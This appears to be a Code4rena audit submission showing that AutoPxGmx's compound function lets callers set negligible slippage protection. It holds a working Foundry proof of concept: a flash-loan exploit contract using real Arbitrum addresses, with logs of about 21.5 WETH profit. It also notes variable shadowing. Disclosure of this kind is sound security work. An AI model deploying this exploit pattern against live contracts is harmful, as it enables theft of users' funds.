Redacted Cartel contest - perseverancesuccess's results

Lines of code

https://github.com/code-423n4/2022-11-redactedcartel/blob/main/src/vaults/AutoPxGmx.sol#L242-L255 https://github.com/code-423n4/2022-11-redactedcartel/blob/main/src/vaults/AutoPxGmx.sol#L265-L285 https://github.com/code-423n4/2022-11-redactedcartel/blob/main/src/vaults/AutoPxGmx.sol#L321 https://github.com/code-423n4/2022-11-redactedcartel/blob/main/src/vaults/AutoPxGmx.sol#L227 https://github.com/code-423n4/2022-11-redactedcartel/blob/main/src/vaults/AutoPxGmx.sol#L345 https://github.com/code-423n4/2022-11-redactedcartel/blob/main/src/vaults/AutoPxGmx.sol#L370-L379 https://github.com/code-423n4/2022-11-redactedcartel/blob/main/src/vaults/PirexERC4626.sol#L60-L65 https://github.com/code-423n4/2022-11-redactedcartel/blob/main/src/vaults/PirexERC4626.sol#L80-L85

Vulnerability details

Impact

Attackers can use Flashloan attack to manipulate the price of GMX vs gmxBaseReward to take money from autoPxGmx contract by using function compound with low input of amountOutMinimum

The function compound allow any users can call and input any value amountOutMinimum that is greater than 0.

function compound(
        uint24 fee,
        uint256 amountOutMinimum, 
        uint160 sqrtPriceLimitX96,
        bool optOutIncentive
    )
        public
        returns (
            uint256 gmxBaseRewardAmountIn,
            uint256 gmxAmountOut,
            uint256 pxGmxMintAmount,
            uint256 totalFee,
            uint256 incentive
        )

In this function, it calls IV3SwapRouter contract to swap the gmxBaseReward balance of the contract autoPxGmx to GMX. Then the GMX is deposited to platform contract.

// Swap entire reward balance for GMX
        gmxBaseRewardAmountIn = gmxBaseReward.balanceOf(address(this));

        if (gmxBaseRewardAmountIn != 0) {
            gmxAmountOut = SWAP_ROUTER.exactInputSingle(
                IV3SwapRouter.ExactInputSingleParams({
                    tokenIn: address(gmxBaseReward),
                    tokenOut: address(gmx),
                    fee: fee,
                    recipient: address(this),
                    amountIn: gmxBaseRewardAmountIn,
                    amountOutMinimum: amountOutMinimum,
                    sqrtPriceLimitX96: sqrtPriceLimitX96
                })
            );

            // Deposit entire GMX balance for pxGMX, increasing the asset/share amount
            (, pxGmxMintAmount, ) = PirexGmx(platform).depositGmx(
                gmx.balanceOf(address(this)),
                address(this)
            );
        }

The Uniswap V3 is an AMM market with Constant Product Market Maker Model. So attackers can use FlashLoan to manipulate the price of GMX in the market and benefit from the trading.

This bug also impacts some funtions withdraw, redeem, depositGmx, mint, deposit because of using the compound function

    function withdraw(
        uint256 assets,
        address receiver,
        address owner // @audit Not OK: owner shaddowed variable
    ) public override returns (uint256 shares) {
        // Compound rewards and ensure they are properly accounted for prior to withdrawal calculation
        compound(poolFee, 1, 0, true);

function redeem(
        uint256 shares,
        address receiver,
        address owner
    ) public override returns (uint256 assets) {
        // Compound rewards and ensure they are properly accounted for prior to redemption calculation
        compound(poolFee, 1, 0, true);

function beforeDeposit(
        address,
        uint256,
        uint256
    ) internal override {
        compound(poolFee, 1, 0, true);
    }

function depositGmx(uint256 amount, address receiver)
        external
        nonReentrant
        returns (uint256 shares)
    {
        if (amount == 0) revert ZeroAmount();
        if (receiver == address(0)) revert ZeroAddress();

        // Handle compounding of rewards before deposit (arguments are not used by `beforeDeposit` hook)
        if (totalAssets() != 0) beforeDeposit(address(0), 0, 0);

https://github.com/code-423n4/2022-11-redactedcartel/blob/main/src/vaults/PirexERC4626.sol#L60-L65

function deposit(uint256 assets, address receiver)
        public
        virtual
        returns (uint256 shares)
    {
        if (totalAssets() != 0) beforeDeposit(receiver, assets, shares);

https://github.com/code-423n4/2022-11-redactedcartel/blob/main/src/vaults/PirexERC4626.sol#L80-L85

function mint(uint256 shares, address receiver)
        public
        virtual
        returns (uint256 assets)
    {
        if (totalAssets() != 0) beforeDeposit(receiver, assets, shares);

Proof of Concept

The following code can gain the benefit from the WETH balance of the contract autoPxGmx and make the protocol loose the GMX amount.

Step 1: Borrow big amount of WETH e.g. 1000 WETH from the Flashloan, for example from Balancer Vault 0xBA12222222228d8Ba445958a75a0704d566BF2C8 Step 2: Call SWAP_ROUTER.exactInputSingle to swap from WETH to GMX to level up the price of GMX. In the test case, supposed use Flashloan of 1000 WETH Then Swap 1000000000000000000000 WETH to buy amount of gmxAmountOut_1 of GMX: 28072957948246507674059

This swap increased the WETH and reduce the GMX in the market so price of GMX is leveled up.

In this scenario: Suppose the contract autoPxGmx has a big amount of WETH that is 100 WETH Step 3: Call compound function wiht input parameter amountOutMinimum = 1 . Notice that this parameter is under control of the users

autoPxGmx.compound(3000, 1, 0, false); 

Now the price of GMX was level uped in comparison to normal market condition. so with 100 WETH in autoPxGmx, the contract received only from the trading: 2168041469966589753515 GMX. If the price was not manipulated by the Flashloan then the autoPxGmx can receive: 2982852944574241549461 that is higher amount of GMX. So it means that the protocol lost GMX token.

Step 4: Call SWAP_ROUTER.exactInputSingle to swap from GMX to WETH to receive WETH to repay the Flashloan Attacker receive amount of gmxAmountOut_2 WETH: 1021506495025749008918

Step 5: Repay the FlashLoan The attacker gain benefit from the attack: 21506495025749008918 WETH

In this scenario, the benefit depends much on the gmxBaseReward balance of the contract autoPxGmx.

The test case code:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;

import "forge-std/Test.sol";

import {AutoPxGmx} from "src/vaults/AutoPxGmx.sol";
import {PirexGmx} from "src/PirexGmx.sol";
import {Helper} from "./Helper.sol";
import {IV3SwapRouter} from "src/interfaces/IV3SwapRouter.sol";
import {ERC20} from "solmate/tokens/ERC20.sol";
import {IGMX} from "src/interfaces/IGMX.sol";

interface IFlashLoanRecipient   {
    function receiveFlashLoan(
        ERC20[] memory tokens,
        uint256[] memory amounts,
        uint256[] memory feeAmounts,
        bytes memory userData
    ) external;

}
contract FlashLoanRecipient is IFlashLoanRecipient {
    /**
     * @dev When `flashLoan` is called on the Vault, it invokes the `receiveFlashLoan` hook on the recipient.
     *
     * At the time of the call, the Vault will have transferred `amounts` for `tokens` to the recipient. Before this
     * call returns, the recipient must have transferred `amounts` plus `feeAmounts` for each token back to the
     * Vault, or else the entire flash loan will revert.
     *
     * `userData` is the same value passed in the `IVault.flashLoan` call.
     */
    
    IGMX internal immutable gmx;
    AutoPxGmx internal immutable autoPxGmx;

    constructor (address _gmx, address _AutoPxGmx) 
       
    {
        gmx = IGMX(_gmx);
        autoPxGmx = AutoPxGmx(_AutoPxGmx);

     }

    function receiveFlashLoan(
        ERC20[] memory tokens,
        uint256[] memory amounts,
        uint256[] memory feeAmounts,
        bytes memory userData
    ) external {

        IV3SwapRouter SWAP_ROUTER =
        IV3SwapRouter(0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45); 
        address gmxBaseReward = 0x82aF49447D8a07e3bd95BD0d56f35241523fBab1; // WETH

        ERC20(gmxBaseReward).approve(address(SWAP_ROUTER),amounts[0]);
        uint256 gmxAmountOut_3 = ERC20(gmxBaseReward).balanceOf(address(this));
        console.log("WETH balance of the exploit contract before attack: %s", ERC20(gmxBaseReward).balanceOf(address(this)) );

        console.log("Step 2: Call SWAP_ROUTER.exactInputSingle to swap from WETH to GMX to level up the price of GMX ");


        uint256 gmxAmountOut_1 = SWAP_ROUTER.exactInputSingle(
                IV3SwapRouter.ExactInputSingleParams({
                    tokenIn: address(gmxBaseReward),
                    tokenOut: address(gmx),
                    fee: 3000,
                    recipient: address(this),
                    amountIn: amounts[0],
                    amountOutMinimum: 1,
                    sqrtPriceLimitX96: 0
                })
            );
        
        console.log("Swap %s WETH to buy amount of gmxAmountOut_1 of GMX: %s",amounts[0],gmxAmountOut_1);

       
        console.log("Simulate the scenario that autoPxGmx has big amount of WETH");
        console.log("Balance of WETH of autoPxGmx: %s",ERC20(gmxBaseReward).balanceOf(address(autoPxGmx)));
        console.log("Step 3: Call autoPxGmx.compound to swap from WETH Balance of autoPxGmx to GMX");
        // Input literal argument values due to callstack depth error
        (
            uint256 wethAmountIn,
            uint256 gmxAmountOut,
            uint256 pxGmxMintAmount,
            uint256 totalFee,
            uint256 incentive
        ) = autoPxGmx.compound(3000, 1, 0, false);
        
        console.log("Step 4: Call SWAP_ROUTER.exactInputSingle to swap from GMX to WETH to receive WETH to repay the Flashloan ");

        gmx.approve(address(SWAP_ROUTER),gmxAmountOut_1);


        uint256 gmxAmountOut_2 = SWAP_ROUTER.exactInputSingle(
                IV3SwapRouter.ExactInputSingleParams({
                    tokenIn:  address(gmx),
                    tokenOut: address(gmxBaseReward) ,
                    fee: 3000,
                    recipient: address(this),
                    amountIn: gmxAmountOut_1,
                    amountOutMinimum: 1,
                    sqrtPriceLimitX96: 0
                })
            );
        address Vault_add = 0xBA12222222228d8Ba445958a75a0704d566BF2C8;

        uint256 gmxAmountOut_4= ERC20(gmxBaseReward).balanceOf(address(this));

        ERC20(gmxBaseReward).transfer(Vault_add,1000 ether);

        console.log("Receive amount of gmxAmountOut_2 WETH: %s",gmxAmountOut_2);
        
        console.log("WETH balance of the exploit contract after attack: %s", ERC20(gmxBaseReward).balanceOf(address(this)) );
        console.log("Step 5: Repay the FlashLoan" );
        console.log("Gain of exploit: %s WETH", ERC20(gmxBaseReward).balanceOf(address(this)) );

    }
}
interface IVaultBalancer {
function flashLoan(
        IFlashLoanRecipient recipient,
        ERC20[] memory tokens,
        uint256[] memory amounts,
        bytes memory userData
    ) external;

}

Append the following test case in the AutoPxGmxTest contract

function testCompoundPxGMXFlashLoanBalancer() public {
    
        uint96 gmxAmount = 100 ether; 
        uint32 secondsElapsed = 300 days;
        IVaultBalancer vault =IVaultBalancer(0xBA12222222228d8Ba445958a75a0704d566BF2C8);//https://arbiscan.io/address/xba12222222228d8ba445958a75a0704d566bf2c8#code


        address[] memory receivers = new address[](1);
        receivers[0] = address(this);
        (
            uint256 wethRewardState,
            uint256 pxGmxRewardState,

        ) = _provisionRewardState(gmxAmount, receivers, secondsElapsed);
        uint256 totalAssetsBeforeCompound = autoPxGmx.totalAssets();
        uint256 shareToAssetAmountBeforeCompound = autoPxGmx.convertToAssets(
            autoPxGmx.balanceOf(address(this))
        );

        
        emit Compounded(testAccounts[0], 3000, 1, 0, 0, 0, 0, 0, 0);
      
        IV3SwapRouter SWAP_ROUTER =
        IV3SwapRouter(0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45); 
        address gmxBaseReward = 0x82aF49447D8a07e3bd95BD0d56f35241523fBab1; // WETH
               
        console.log("Simulate the FlashLoan attack");
        console.log("Step 1: Borrow the WETH from the Flashloan");
        uint256 amount  = 1000 ether; 

        FlashLoanRecipient FlashLoanRecipient_contract = new FlashLoanRecipient(address(gmx), address(autoPxGmx));
         /**simulate situation when the gmxBaseReward is big */
        uint256 amount_2 = 100 ether;
        _mintWrappedToken(amount_2, address(autoPxGmx));

        ERC20[] memory tokens = new ERC20[] (1);
        tokens[0] = ERC20(0x82aF49447D8a07e3bd95BD0d56f35241523fBab1);
         uint256[] memory amounts = new uint256[](1);
         amounts[0] = 1000 ether; 
         bytes memory userData = abi.encode(0x00);
        vault.flashLoan(FlashLoanRecipient_contract, tokens, amounts, userData);
        
        
        
    }

Log:

Running 1 test for test/AutoPxGmx.t.sol:AutoPxGmxTest
[PASS] testCompoundPxGMXFlashLoanBalancer() (gas: 5068113)
Logs:
  Simulate the FlashLoan attack
  Step 1: Borrow the WETH from the Flashloan
  WETH balance of the exploit contract before attack: 1000000000000000000000
  Step 2: Call SWAP_ROUTER.exactInputSingle to swap from WETH to GMX to level up the price of GMX 
  Swap 1000000000000000000000 WETH to buy amount of gmxAmountOut_1 of GMX: 28072957948246507674059
  Simulate the scenario that autoPxGmx has big amount of WETH
  Balance of WETH of autoPxGmx: 100000000000000000000
  Step 3: Call autoPxGmx.compound to swap from WETH Balance of autoPxGmx to GMX
  Step 4: Call SWAP_ROUTER.exactInputSingle to swap from GMX to WETH to receive WETH to repay the Flashloan 
  Receive amount of gmxAmountOut_2 WETH: 1021506495025749008918
  WETH balance of the exploit contract after attack: 21506495025749008918
  Step 5: Repay the FlashLoan
  Gain of exploit: 21506495025749008918 WETH

POC:

To apply GIT you can use the POC.patch of the git diff vs commit 03b71a8d395c02324cb9fdaf92401357da5b19d1 : Link: https://drive.google.com/file/d/1TDUdhCD8dr_DAT3CSjHxVwTaYWg1P58S/view?usp=sharing Apply patch

git apply POC.patch

In the zip file in the Google_Drive link, there is the POC written for this bug. The test case is testCompoundPxGMXFlashLoan
File AutoPxGmx.t.sol: https://drive.google.com/file/d/1sjWCmBdnnlzuvgpKIMb90mekGtvsQ1Yv/view?usp=share_link

After applying the POC.patch, you can run the POC by calling:

forge test --fork-url "https://rpc.ankr.com/arbitrum" --fork-block-number 38632697 --use 0.8.17 -vvvvv -m testCompoundPxGMXFlashLoanBalancer

The log file: testCompoundPxGMXFlashLoanBalancer_221124_0843.log Google_Link: https://drive.google.com/file/d/1Jw3iW_GoXXC4T0v85VZouLoR9YyKbUMt/view?usp=sharing

The log file with normal market condition: https://drive.google.com/file/d/1pWW5-pUq7n-f126sCK2sek-q_5E6RF7k/view?usp=sharing Test case: testCompoundAutoPxGMX

forge test --fork-url "https://rpc.ankr.com/arbitrum" --fork-block-number 38632697 --use 0.8.17 -vvvvv -m testCompoundAutoPxGMX

Tools Used

Foundry

Recommended Mitigation Steps

Should implement some mechanism to protect against Flashloan attack. For example, to accept only some deviation or slippage e.g. percentage of the amountOutMinimum in comparision to the normal market condition or according to some trust price oracle.

Low severity Bug 1: State variable owner shaddowing might make users confuse or lead to vulnerability

The owner is a critical global state varible in Ownable contract

solmate/auth/Owned.sol

address public owner;

So the functions use the parameter with the same name owner might lead to confusion and vulnerability.
Should rename the parameter name to avoid shadowing , e.g. rename to _owner

https://github.com/code-423n4/2022-11-redactedcartel/blob/main/src/vaults/AutoPxGmx.sol#L315-L318

function withdraw(
        uint256 assets,
        address receiver,
        address owner 
    ) public override returns (uint256 shares)

https://github.com/code-423n4/2022-11-redactedcartel/blob/main/src/vaults/AutoPxGmx.sol#L339-L343

function redeem(
        uint256 shares,
        address receiver,
        address owner
    ) public override returns (uint256 assets) 

https://github.com/code-423n4/2022-11-redactedcartel/blob/main/src/vaults/PirexERC4626.sol#L99-L103

function withdraw(
        uint256 assets,
        address receiver,
        address owner
    ) public virtual returns (uint256 shares) 

https://github.com/code-423n4/2022-11-redactedcartel/blob/main/src/vaults/PirexERC4626.sol#L124-L128

 function redeem(
        uint256 shares,
        address receiver,
        address owner
    ) public virtual returns (uint256 assets) {

https://github.com/code-423n4/2022-11-redactedcartel/blob/main/src/vaults/PirexERC4626.sol#L225-L231

function maxWithdraw(address owner) public view virtual returns (uint256) {
        return convertToAssets(balanceOf[owner]);
    }

    function maxRedeem(address owner) public view virtual returns (uint256) {
        return balanceOf[owner];
    }

https://github.com/code-423n4/2022-11-redactedcartel/blob/main/src/vaults/PirexERC4626.sol#L272-L301

function beforeWithdraw(
        address owner,
        uint256 assets,
        uint256 shares
    ) internal virtual {}

    function beforeDeposit(
        address receiver,
        uint256 assets,
        uint256 shares
    ) internal virtual {}

    function afterWithdraw(
        address owner,
        uint256 assets,
        uint256 shares
    ) internal virtual {}

    function afterDeposit(
        address receiver,
        uint256 assets,
        uint256 shares
    ) internal virtual {}

    function afterTransfer(
        address owner,
        address receiver,
        uint256 amount
    ) internal virtual {}